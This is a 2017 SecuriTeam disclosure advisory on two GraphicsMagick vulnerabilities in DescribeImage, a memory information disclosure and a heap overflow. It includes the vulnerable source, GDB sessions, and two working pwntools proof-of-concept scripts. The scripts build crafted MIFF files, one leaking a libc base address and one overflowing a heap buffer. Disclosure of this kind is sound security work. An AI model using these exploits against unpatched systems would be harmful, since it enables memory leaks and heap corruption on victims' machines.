SSD Advisory – GraphicsMagick Multiple Vulnerabilities

blogs.securiteam.com/index.php/archives/3494

SSD / Maor Schwartz October 31, 2017

Vulnerabilities summary
The following advisory describes two (2) vulnerabilities found in GraphicsMagick.

GraphicsMagick is “The swiss army knife of image processing. Comprised of 267K physical lines (according to David A. Wheeler’s SLOCCount) of source code in the base package (or 1,225K including 3rd party libraries) it provides a robust and efficient collection of tools and libraries which support reading, writing, and manipulating an image in over 88 major formats including important formats like DPX, GIF, JPEG, JPEG-2000, PNG, PDF, PNM, and TIFF.”

The vulnerabilities found are:

- Memory Information Disclosure
- Heap Overflow

Credit
An independent security researchers, Jeremy Heng (@nn_amon) and Terry Chia (Ayrx), has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
The vendor has released patches to address these vulnerabilities (15237:e4e1c2a581d8 and 15238:7292230dd18).

For more details: ftp://ftp.graphicsmagick.org/pub/GraphicsMagick/snapshots/ChangeLog.txt

Vulnerabilities details

Memory Information Disclosure
GraphicsMagick is vulnerable to a memory information disclosure vulnerability found in `DescribeImage` function of the `magick/describe.c` file.

The portion of the code containing the vulnerability responsible of printing the IPTC Profile information contained in the image.

This vulnerability can be triggered with a specially crafted MIFF file.

The code which triggers the vulnerable code path is:

C

```c
63 MagickExport MagickPassFail DescribeImage(Image *image,FILE *file,
64                                            const MagickBool verbose)
65 {
...
660       for (i=0; i < profile_length; )
661         {
662           if (profile[i] != 0x1c)
663             {
664               i++;
665               continue;
666             }
667           i++;  /* skip file separator */
668           i++;  /* skip record number */
...
725           i++;
726           (void) fprintf(file,"    %.1024s:\n",tag);
727           length=profile[i++] << 8;
728           length|=profile[i++];
729           text=MagickAllocateMemory(char *,length+1);
730           if (text != (char *) NULL)
731             {
732               char
733                 **textlist;
734
735               register unsigned long
736                 j;
737
738               (void) strncpy(text,(char *) profile+i,length);
739               text[length]='\0';
740               textlist=StringToList(text);
741               if (textlist != (char **) NULL)
742                 {
743                   for (j=0; textlist[j] != (char *) NULL; j++)
744                     {
745                       (void) fprintf(file,"  %s\n",textlist[j]);
...
752           i+=length;
753         }
```

The value in `profile_length` variable is set in the following field in the MIFF header: *profile-iptc=8*

There is an out-of-bounds buffer dereference whenever `profile[i]` is accessed because the increments of `i` is never checked.

If we break on line 738 of `describe.c`, we can explore what is present on the heap during the `strncpy` operation.

```
gef➤  x/2xg profile
0x8be210:    0x08000a001c414141    0x00007ffff690fba8
```

The 8 bytes `0x08000a001c414141` is the profile payload present in the specially crafted MIFF file.

```
41 41 41 - padding
1C - sentinel check in line 662
00 - padding
0A - "Priority" tag
08 00 - 8 in big endian, the length
```

If we examine the value `0x00007ffff690fba8` adjacent to the payload, it becomes apparent that it is an address within the `main_arena` struct in libc.

```
gef➤  x/xw 0x00007ffff690fba8
0x7ffff690fba8 <main_arena+136>:    0x008cdc40
gef➤  vmmap libc
Start              End                Offset             Perm Path
0x00007ffff654b000 0x00007ffff670b000 0x0000000000000000 r-x
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff670b000 0x00007ffff690b000 0x00000000001c0000 ---
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff690b000 0x00007ffff690f000 0x00000000001c0000 r--
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff690f000 0x00007ffff6911000 0x00000000001c4000 rw-
/lib/x86_64-linux-gnu/libc-2.23.so
```

Now we can calculate the offset to libc base – `0x3c4b98`

Proof of Concept

```
$ python miff/readexploit.py
[+] Starting local process '/usr/bin/gm': pid 20019
[+] Receiving all data: Done (1.27KB)
[*] Process '/usr/bin/gm' stopped with exit code 0 (pid 20019)
[*] Main Arena Leak: 0x7f72948adb98
[*] libc Base: 0x7f72944e9000
```

Python

```
1  #!/usr/bin/python
2  # GraphicsMagick IPTC Profile libc Leak
3
4  from pwn import *
5
6  directory = "DIR"
7  partitions = ('id=ImageMagick  version=1.0\nclass=DirectClass  matte=False\n' +
8              'columns=1  rows=1  depth=16\nscene=1\nmontage=1x1+0+0\nprofil' +
9              'e-iptc=',
10             '\n\x0c\n:\x1a',
11             '\n\x00',
12             '\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
13 output = "readexploit.miff"
14 length = 8
15
16 #libc_main_arena_entry_offset = 0x3c4ba8
17 libc_main_arena_entry_offset = 0x3c4b98
18
19 def main():
20     data = "AAA" + "\x1c" + "\x00" + chr(10) + p16(0x8, endian="big")
21     header = partitions[0] + str(length) + partitions[1]
22     payload = header + directory + partitions[2] + data + partitions[3]
23     file(output, "w").write(payload)
24
25     p = process(executable="gm", argv=["identify", "-verbose", output])
26     output_leak = p.recvall()
27     priority_offset = output_leak.index("Priority:") + 12
28     montage_offset = output_leak.index("Montage:") - 3
29     leak = output_leak[priority_offset:montage_offset]
30     if "0x00000000" in leak:
31         log.info("Unlucky run. Value corrupted by StringToList")
32         exit()
33     main_arena_leak = u64(leak.ljust(8, "\x00"))
34     log.info("Main Arena Leak: 0x%x" % main_arena_leak)
35     libc_base = main_arena_leak - libc_main_arena_entry_offset
36     log.info("libc Base: 0x%x" % libc_base)
37
38 if __name__ == "__main__":
39     main()
```

Heap Overflow

GraphicsMagick is vulnerable to a heap overflow vulnerability found in *`DescribeImage()`* function of the magick/describe.c file.

The call to *`strncpy`* on line 855 does not limit the size to be copied to the size of the buffer copied to. Instead, the size is calculated by searching for a newline or a null byte in the directory name.

C

```
844     /*
845       Display visual image directory.
846     */
847     image_info=CloneImageInfo((ImageInfo *) NULL);
848     (void) CloneString(&image_info->size,"64x64");
849     (void) fprintf(file,"  Directory:\n");
850     for (p=image->directory; *p != '\0'; p++)
851       {
852         q=p;
853         while ((*q != '\n') && (*q != '\0'))
854           q++;
855         (void) strncpy(image_info->filename,p,q-p);
856         image_info->filename[q-p]='\0';
857         p=q;
...
880       }
881     DestroyImageInfo(image_info);
```

Since the field `filename` in the `ImageInfo` struct has the static size of 2053, the heap can be corrupted by forging an overly long directory name.

C

```
type = struct _ImageInfo {
...
    FILE *file;
    char magick[2053];
    char filename[2053];
    _CacheInfoPtr_ cache;
    void *definitions;
    Image *attributes;
    unsigned int ping;
    PreviewType preview_type;
    unsigned int affirm;
    _BlobInfoPtr_ blob;
    size_t length;
    char unique[2053];
    char zero[2053];
    unsigned long signature;
}
```

One possible way to trigger the vulnerability is to run the *`identify`* command on a specially crafted MIFF format file with the verbose flag.

Proof of Concept

The following proof of concept script will generate a specially crafted MIFF file `exploit.miff`.

Python

```
#!/usr/bin/python

from pwn import *

partitions = ('id=ImageMagick  version=1.0\nclass=DirectClass  matte=False\n' +
              'columns=1  rows=1  depth=16\nscene=1\nmontage=1x1+0+0\n\x0c\n' +
              ':\x1a',
              '\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "exploit.miff"

def main():
    payload = "A"*10000
    payload = partitions[0] + payload + partitions[1]
    file(output, "w").write(payload)

if __name__ == "__main__":
    main()
```

Running the GraphicsMagick `gm` utility with the arguments `identify -verbose` in GDB and breaking after the vulnerable `strncpy` call, and examining the corrupted `ImageInfo` object demonstrates that the heap corruption was successful.

```
gef➤  r identify -verbose exploit.miff
...
gef➤  br describe.c:856
Breakpoint 1 at 0x4571df: file magick/describe.c, line 856.
...
gef➤  p *image_info
$3 = {
...
  compression = UndefinedCompression,
  file = 0x0,
  magick = '\000' <repeats 2052 times>,
  filename = 'A' <repeats 2053 times>,
  cache = 0x4141414141414141,
  definitions = 0x4141414141414141,
  attributes = 0x4141414141414141,
  ping = 0x41414141,
  preview_type = 1094795585,
  affirm = 0x41414141,
  blob = 0x4141414141414141,
  length = 0x4141414141414141,
  unique = 'A' <repeats 2053 times>,
  zero = 'A' <repeats 2053 times>,
  signature = 0x4141414141414141
}
```